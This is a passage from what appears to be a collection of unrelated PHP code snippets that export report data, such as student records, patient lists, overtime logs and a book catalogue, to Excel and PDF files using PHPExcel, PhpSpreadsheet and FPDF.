\"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('F3', \"NILAI LOYAL\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('G3', \"NILAI ADAPTIF\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('H3', \"NILAI KOLABORATIF\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('I3', \"NILAI TOTAL\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('J3', \"TANGGAL UPLOAD\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\n\t\t// Apply style header yang telah kita buat tadi ke masing-masing kolom header\n\t\t$excel->getActiveSheet()->getStyle('A3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('B3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('C3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('D3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('E3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('F3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('G3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('H3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('I3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('J3')->applyFromArray($style_col);\n\n\t\t// Panggil function view yang ada di SiswaModel untuk menampilkan semua data siswanya\n\t\t$siswa = $this->RaporModel->view();\n\n\t\t$no = 1; // Untuk penomoran tabel, di awal set dengan 1\n\t\t$numrow = 4; // Set baris pertama untuk isi tabel adalah baris ke 4\n\t\tforeach ($siswa as $data) { // Lakukan looping pada variabel siswa\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('A' . $numrow, $no);\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('B' . $numrow, $data->cabang);\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('C' . $numrow, $data->nilai_amanah . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('D' . $numrow, $data->nilai_kompeten . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('E' . $numrow, $data->nilai_harmonis . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('F' . $numrow, $data->nilai_loyal . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('G' . $numrow, $data->nilai_adaptif . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('H' . $numrow, $data->nilai_kolab . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('I' . $numrow, $data->nilai_total . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('J' . $numrow, $data->created_at);\n\n\t\t\t// Apply style row yang telah kita buat tadi ke masing-masing baris (isi tabel)\n\t\t\t$excel->getActiveSheet()->getStyle('A' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('B' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('C' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('D' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('E' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('F' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('G' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('H' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('I' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('J' . $numrow)->applyFromArray($style_row);\n\n\t\t\t$no++; // Tambah 1 setiap kali looping\n\t\t\t$numrow++; // Tambah 1 setiap kali looping\n\t\t}\n\n\t\t// Set width kolom\n\t\t$excel->getActiveSheet()->getColumnDimension('A')->setWidth(2); // Set width kolom A\n\t\t$excel->getActiveSheet()->getColumnDimension('B')->setWidth(14); // Set width kolom B\n\t\t$excel->getActiveSheet()->getColumnDimension('C')->setWidth(14); // Set width kolom C\n\t\t$excel->getActiveSheet()->getColumnDimension('D')->setWidth(16); // Set width kolom D\n\t\t$excel->getActiveSheet()->getColumnDimension('E')->setWidth(16); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('F')->setWidth(12); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('G')->setWidth(14); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('H')->setWidth(19); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('I')->setWidth(12); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('J')->setWidth(19); // Set width kolom E\n\n\t\t// Set height semua kolom menjadi auto (mengikuti height isi dari kolommnya, jadi otomatis)\n\t\t$excel->getActiveSheet()->getDefaultRowDimension()->setRowHeight(-1);\n\n\t\t// Set orientasi kertas jadi LANDSCAPE\n\t\t$excel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n\n\t\t// Set judul file excel nya\n\t\t$excel->getActiveSheet(0)->setTitle(\"Rekap Rapor Akhlak\");\n\t\t$excel->setActiveSheetIndex(0);\n\n\t\t// Proses file excel\n\t\theader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n\t\theader('Content-Disposition: attachment; filename=\"Rekap Rapor Akhlak.xlsx\"'); // Set nama file excel nya\n\t\theader('Cache-Control: max-age=0');\n\n\t\t$write = PHPExcel_IOFactory::createWriter($excel, 'Excel2007');\n\t\t$write->save('php://output');\n\t}", "function get_column_header_colour() {\n return array(\n 129, 245, 173);\n }", "public function report_data_college()\n{\n\n$user = $this->Muser->report_data_college();\n\n// Create new Spreadsheet object\n$spreadsheet = new Spreadsheet();\n\n//auto width cell\nforeach(range('A','I') as $columnID) {\n $spreadsheet->getActiveSheet()->getColumnDimension($columnID)\n ->setAutoSize(true);\n}\n\n// Set document properties\n$spreadsheet->getProperties()->setCreator('STMIK BANDUNG')\n->setLastModifiedBy('STMIK BANDUNG')\n->setTitle('Office 2007 XLSX Test Document')\n->setSubject('Office 2007 XLSX Test Document')\n->setDescription('Test document for Office 2007 XLSX, generated using PHP classes.')\n->setKeywords('office 2007 openxml php')\n->setCategory('result file');\n\n// Add some data\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A1', 'NO')\n->setCellValue('B1', 'NIM')\n->setCellValue('C1', 'NAMA')\n->setCellValue('D1', 'JURUSAN')\n->setCellValue('E1', 'ANGKATAN')\n->setCellValue('F1', 'EMAIL')\n->setCellValue('G1', 'JENIS KELAMIN')\n->setCellValue('H1', 'NO TELEPON')\n->setCellValue('I1', 'STATUS')\n\n;\n\n// Miscellaneous glyphs, UTF-8\n$i=2; $no=1; foreach($user as $data) {\n\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A'.$i, $no)\n->setCellValue('B'.$i, $data->nim)\n->setCellValue('C'.$i, $data->name)\n->setCellValue('D'.$i, $data->prodi)\n->setCellValue('E'.$i, $data->generation)\n->setCellValue('F'.$i, $data->email)\n->setCellValue('G'.$i, $data->gender)\n->setCellValue('H'.$i, $data->no_telp)\n->setCellValue('i'.$i, $data->status_user)\n\n;\n$i++;\n$no++;\n}\n\n\n// Rename worksheet\n$spreadsheet->getActiveSheet()->setTitle('Report Data Mahasiswa '.date('d-m-Y H'));\n\n// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n$spreadsheet->setActiveSheetIndex(0);\n\n// Redirect output to a client’s web browser (Xlsx)\nheader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\nheader('Content-Disposition: attachment;filename=\"Report Data Mahasiswa.xlsx\"');\nheader('Cache-Control: max-age=0');\n// If you're serving to IE 9, then the following may be needed\nheader('Cache-Control: max-age=1');\n\n// If you're serving to IE over SSL, then the following may be needed\nheader('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\nheader('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\nheader('Cache-Control: cache, must-revalidate'); // HTTP/1.1\nheader('Pragma: public'); // HTTP/1.0\n\n$writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n$writer->save('php://output');\nexit;\n}", "public function headings(): array\n\t{\n\t\treturn [\n\t\t\t\t'No',\n\t\t\t\t'Title',\n\t\t\t\t'Price',\n\t\t\t\t'Category',\n\t\t\t\t'Type',\n\t\t\t\t'Post By',\n\t\t\t\t'Province',\n\t\t\t\t'District',\n\t\t\t\t'Commune',\n\t\t\t\t'views',\n\t\t\t\t'Status'\n\t\t];\n }", "function header() {\n //\n //Get the fields in this sql \n $cols= $this->fields->get_array();\n //\n //Loop through the fields and display the <tds>\n foreach ($cols as $col) {\n //\n $name= is_null($col->alias) ? $col->to_str():$col->alias;\n echo \"<th>$name</th>\"; \n }\n }", "public function Header()\r\n\t{\r\n\t\t$this->Ln();\r\n\t\t$this->SetFont('Arial','',14);\r\n\t\t$this->Cell(170,7,\"Date :: \". $this->today_date ,1,0,'C');\r\n\t\t$this->Ln();\r\n\t\t$this->SetFont('Arial','',14); \r\n\t\t$this->MultiCell(170,8,\"Room Things Report \\n\".$this->title,1,'C');\r\n\t\t$this->Ln(5);\r\n\r\n\t}", "public function makeComStatsExcelSheet($data)\n\t{\n\t\t/** Reading Excel with PHPExcel_IOFactory */\n\t\trequire_once 'PHPExcel/IOFactory.php';\n\n\t\t$objReader = PHPExcel_IOFactory::createReader('Excel5');\n\t\t\n\t\t// template file\n\t\t$objPHPExcel = $objReader->load(APPLICATION_PATH . '/../data/templates/com-stats-tpl.xls');\n\t}", "function Header() {\n if(empty($this->title) || $this->PageNo() == 1) return;\n $oldColor = $this->TextColor;\n $this->SetTextColor(PDF_HEADER_COLOR['red'],\n PDF_HEADER_COLOR['green'],\n PDF_HEADER_COLOR['blue']);\n $x = $this->GetX();\n $y = $this->GetY();\n $this->SetY(10, false);\n $this->SetFont('', 'B');\n $this->Cell(0, 10, $this->title);\n $this->SetFont('', '');\n $this->SetXY($x, $y);\n $this->TextColor = $oldColor;\n }", "public function createExcelReport(\\PhpOffice\\PhpSpreadsheet\\Spreadsheet $spreadSheet){\n\t\t$wsResumen = new \\PhpOffice\\PhpSpreadsheet\\Worksheet\\Worksheet($spreadSheet, 'Resumen');\n\t\t$wsDatos = new \\PhpOffice\\PhpSpreadsheet\\Worksheet\\Worksheet($spreadSheet, 'Datos');\n\t\t//2. Escribe los datos sobre las hojas de cáculo\n\t\t//2.1. Escribe lo datos de la primera hoja\n\t\t//2.1.1. Inconsistencias por tipo\n\t\t$wsResumen->setCellValue(\"A3\",\"Inconsistencias por tipo\");\n\t\t$wsResumen->setCellValue(\"A4\",\"Desfase horario\");\n\t\t$wsResumen->setCellValue(\"A5\",\"Programación no coincide\");\n\t\t$wsResumen->setCellValue(\"A6\",\"Otros\");\n\t\t$wsResumen->setCellValue(\"A7\",\"Total\");\n\t\t//2.1.2. Inconsistencias por motivo\n\t\t$wsResumen->setCellValue(\"A9\",\"Inconsistencias por motivo\");\n\t\t$wsResumen->setCellValue(\"A10\",\"Origen\");\n\t\t$wsResumen->setCellValue(\"A11\",\"Error humano\");\n\t\t$wsResumen->setCellValue(\"A12\",\"Evento en vivo\");\n\t\t$wsResumen->setCellValue(\"A13\",\"Total\");\n\t\t//2.1.3. Inconsistencias por programadora\n\t\t$wsResumen->setCellValue(\"A15\",\"Inconsistencias por casa programadora\");\n\n\t\t//2.2. Escribe lo datos de la segunda hoja\n\t\t$wsDatos->setCellValue(\"A1\",\"Fecha-Hora Reporte\");\n\t\t$wsDatos->setCellValue(\"B1\",\"Fecha-Hora Evento\");\n\t\t$wsDatos->setCellValue(\"C1\",\"ID Evento\");\n\t\t$wsDatos->setCellValue(\"D1\",\"Título Evento\");\n\t\t$wsDatos->setCellValue(\"E1\",\"ID Canal\");\n\t\t$wsDatos->setCellValue(\"F1\",\"Nombre Canal\");\n\t\t$wsDatos->setCellValue(\"G1\",\"Casa Programadora\");\n\t\t$wsDatos->setCellValue(\"H1\",\"Tipo Error\");\n\t\t$wsDatos->setCellValue(\"I1\",\"Motivo Error\");\n\t\t$wsDatos->setCellValue(\"J1\",\"Desafase\");\n\t\t$wsDatos->setCellValue(\"K1\",\"Transmitiendo\");\n\t\t$wsDatos->setCellValue(\"L1\",\"Usuario\");\n\n\t\t$totals = $this->calculateTotals();\n\t\t$wsResumen = $this->setResumenPage($wsResumen,$totals);\n\t\t$wsDatos = $this->setDataPage($wsDatos);\t\t\n\t\t//Vincula las hojas al documento\n\t\t$spreadSheet->addSheet($wsResumen, 0);\n\t\t$spreadSheet->addSheet($wsDatos, 1);\n\t\treturn $spreadSheet;\n\n\n\t}", "public function export() \n \t\t{\n \t\t$data = $this->model_patient->export();\n \t\t#load PHPExcel library\n \t\t$this->excel->setActiveSheetIndex(0);\n \t\t#name the worksheet\n \t\t$this->excel->getActiveSheet()->setTitle('Data Pasien SN Health Center');\n \n \t\t#STYLING\n \t\t$styleArray = array('borders' => array('allborders' => array('style' => PHPExcel_Style_Border::BORDER_THIN,'color' => array('argb' => '0000'))));\n \n \t\t#set report header\n \t\t$this->excel->getActiveSheet()->getStyle('A:K')->getFont()->setName('Times New Roman');\n \t\t$this->excel->getActiveSheet()->mergeCells('A1:K1');\n \t\t$this->excel->getActiveSheet()->setCellValue('A1', 'DAFTAR PASIEN APLIKASI SN HEALTH CENTER');\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(12);\n \n \n \t\t//set column name\n \t\t$this->excel->getActiveSheet()->setCellValue('A2', 'No');\n \t\t$this->excel->getActiveSheet()->setCellValue('B2', 'Nomor Registrasi');\n \t\t$this->excel->getActiveSheet()->setCellValue('C2', 'Nomor KTP');\n \t\t$this->excel->getActiveSheet()->setCellValue('D2', 'Nama');\n \t\t$this->excel->getActiveSheet()->setCellValue('E2', 'Jenis Kelamin');\n \t\t$this->excel->getActiveSheet()->setCellValue('F2', 'Tanggal Lahir');\n \t\t$this->excel->getActiveSheet()->setCellValue('G2', 'Agama');\n \t\t$this->excel->getActiveSheet()->setCellValue('H2', 'Pekerjaan');\n \t\t$this->excel->getActiveSheet()->setCellValue('I2', 'Nomor HP');\n \t\t$this->excel->getActiveSheet()->setCellValue('J2', 'Alamat');\n \t\t$this->excel->getActiveSheet()->setCellValue('K2', 'Tanggal & Waktu Registrasi');\n \n\t\t\t $this->excel->getActiveSheet()->getStyle('A2:K2')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('A')->setWidth(4);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('C')->setWidth(25);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('D')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('E')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('F')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('G')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('H')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('I')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('J')->setWidth(40);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('K')->setWidth(25);\n \n \t\t$no = 3;\n \t\t$nomor = 1;\n \t\tforeach ($data as $v) \n \t\t{\n \t\t\t\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('A' . $no, $nomor);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('B' . $no, $v->patient_noregis);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('C' . $no, strval($v->patient_noktp));\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('D' . $no, $v->patient_name);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('E' . $no, $v->patient_sex);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('F' . $no, $v->patient_datebirth);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('G' . $no, $v->patient_religion);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('H' . $no, $v->patient_job);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('I' . $no, $v->patient_phone);\n\t\t\t\t \n\t\t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t\t\t$this->excel->getActiveSheet()->setCellValue('J' . $no, $v->patient_address);\n\t\t\t\t\t\t\n\t\t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('K' . $no, $v->patient_registerdate);\n\t\t\t\t\n\t\t\t\t$no++;\n \t\t\t$nomor++;\n \t\t}\n \n \t\t$this->excel->getActiveSheet()->getStyle('A2:K' . ($no - 1))->applyFromArray($styleArray);\n \t\tob_end_clean();\n \t\t$filename = 'Daftar Pasien Aplikasi SN Health Center.xls'; //save our workbook as this file name\n \t\theader('Content-Type: application/vnd.ms-excel'); //mime type\n \t\theader('Content-Disposition: attachment;filename=\"' . $filename . '\"'); //tell browser what's the file name\n \t\theader('Cache-Control: max-age=0'); //no cache\n \t\t$objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5');\n \t\t$objWriter->save('php://output');\n \n \t\tredirect('admin/patient');\n \t\t}", "public function headings(): array\n {\n return [\n 'Name',\n 'Department',\n 'OT Date',\n 'Shift',\n 'From',\n 'To',\n 'Total Hrs',\n 'Job Content',\n 'Results',\n 'Supervisor',\n 'Manager',\n 'Date Created',\n 'Last Update'\n ];\n }", "public function export(){\n include APPPATH.'third_party/PHPExcel/Classes/PHPExcel.php';\n \n // Panggil class PHPExcel nya\n $excel = new PHPExcel();\n\n // Settingan awal fil excel\n $excel->getProperties()->setCreator('My Notes Code')\n ->setLastModifiedBy('My Notes Code')\n ->setTitle(\"Data Buku\")\n ->setSubject(\"tb_buku\")\n ->setDescription(\"Laporan Semua Data Buku\")\n ->setKeywords(\"Data Buku\");\n\n // Buat sebuah variabel untuk menampung pengaturan style dari header tabel\n $style_col = array(\n 'font' => array('bold' => true), // Set font nya jadi bold\n 'alignment' => array(\n 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n\n // Buat sebuah variabel untuk menampung pengaturan style dari isi tabel\n $style_row = array(\n 'alignment' => array(\n 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n\n $excel->setActiveSheetIndex(0)->setCellValue('A1', \"RELASI INTI MEDIA ( FAMILIA, ISTANA MEDIA, QUDSI MEDIA DAN FORUM )\"); // Set kolom A1 dengan tulisan \"DATA SISWA\"\n $excel->setActiveSheetIndex(0)->setCellValue('A2', \"Jl. Permadi Nyutran RT/RW. 61/19 MJ II No. 1606 C, Wirogunan, Mergangsan, Yogyakarta 55151\"); // Set kolom A1 dengan tulisan \"DATA SISWA\"\n $excel->setActiveSheetIndex(0)->setCellValue('A3', \"Email: relasidistribusi@gmail.com Telp: (0274) 2870300\"); // Set kolom A1 dengan tulisan \"DATA SISWA\"\n $excel->setActiveSheetIndex(0)->setCellValue('A5', \"DATA BUKU\");\n $excel->getActiveSheet()->mergeCells('A1:N1'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->mergeCells('A2:N2'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->mergeCells('A3:N3'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->mergeCells('A5:N5'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(TRUE); // Set bold kolom A1\n $excel->getActiveSheet()->getStyle('A5')->getFont()->setBold(TRUE); // Set bold kolom A1\n $excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(15); // Set font size 15 untuk kolom A1\n $excel->getActiveSheet()->getStyle('A5')->getFont()->setSize(15);\n $excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n $excel->getActiveSheet()->getStyle('A2')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n $excel->getActiveSheet()->getStyle('A3')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n $excel->getActiveSheet()->getStyle('A5')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); // Set text center untuk kolom A1\n\n // Buat header tabel nya pada baris ke 3\n $excel->setActiveSheetIndex(0)->setCellValue('A7', \"NO\"); // Set kolom A3 dengan tulisan \"NO\"\n $excel->setActiveSheetIndex(0)->setCellValue('B7', \"KODE BUKU\"); // Set kolom A3 dengan tulisan \"NO\"\n $excel->setActiveSheetIndex(0)->setCellValue('C7', \"JUDUL\"); // Set kolom B3 dengan tulisan \"NIS\"\n $excel->setActiveSheetIndex(0)->setCellValue('D7', \"KATEGORI\"); // Set kolom C3 dengan tulisan \"NAMA\"\n $excel->setActiveSheetIndex(0)->setCellValue('E7', \"PENULIS\"); // Set kolom D3 dengan tulisan \"JENIS KELAMIN\"\n $excel->setActiveSheetIndex(0)->setCellValue('F7', \"PENERBIT\");\n $excel->setActiveSheetIndex(0)->setCellValue('G7', \"UKURAN\");\n $excel->setActiveSheetIndex(0)->setCellValue('H7', \"JUMLAH HALAMAN\");\n $excel->setActiveSheetIndex(0)->setCellValue('I7', \"ISBN\");\n $excel->setActiveSheetIndex(0)->setCellValue('J7', \"TAHUN TERBIT\");\n $excel->setActiveSheetIndex(0)->setCellValue('K7', \"HARGA (Rp)\");\n $excel->setActiveSheetIndex(0)->setCellValue('L7', \"STOK\");\n $excel->setActiveSheetIndex(0)->setCellValue('M7', \"KETERANGAN\");\n $excel->setActiveSheetIndex(0)->setCellValue('N7', \"STATUS\");\n\n // Apply style header yang telah kita buat tadi ke masing-masing kolom header\n $excel->getActiveSheet()->getStyle('A7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('B7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('C7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('D7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('E7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('F7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('G7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('H7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('I7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('J7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('K7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('L7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('M7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('N7')->applyFromArray($style_col);\n\n\n // Panggil function view yang ada di SiswaModel untuk menampilkan semua data siswanya\n $buku = $this->buku_model->showAllBuku();\n\n $no = 1; // Untuk penomoran tabel, di awal set dengan 1\n $numrow = 8; // Set baris pertama untuk isi tabel adalah baris ke 4\n foreach($buku as $data){ // Lakukan looping pada variabel siswa\n $excel->setActiveSheetIndex(0)->setCellValue('A'.$numrow, $no);\n $excel->setActiveSheetIndex(0)->setCellValue('B'.$numrow, $data->kd_buku);\n 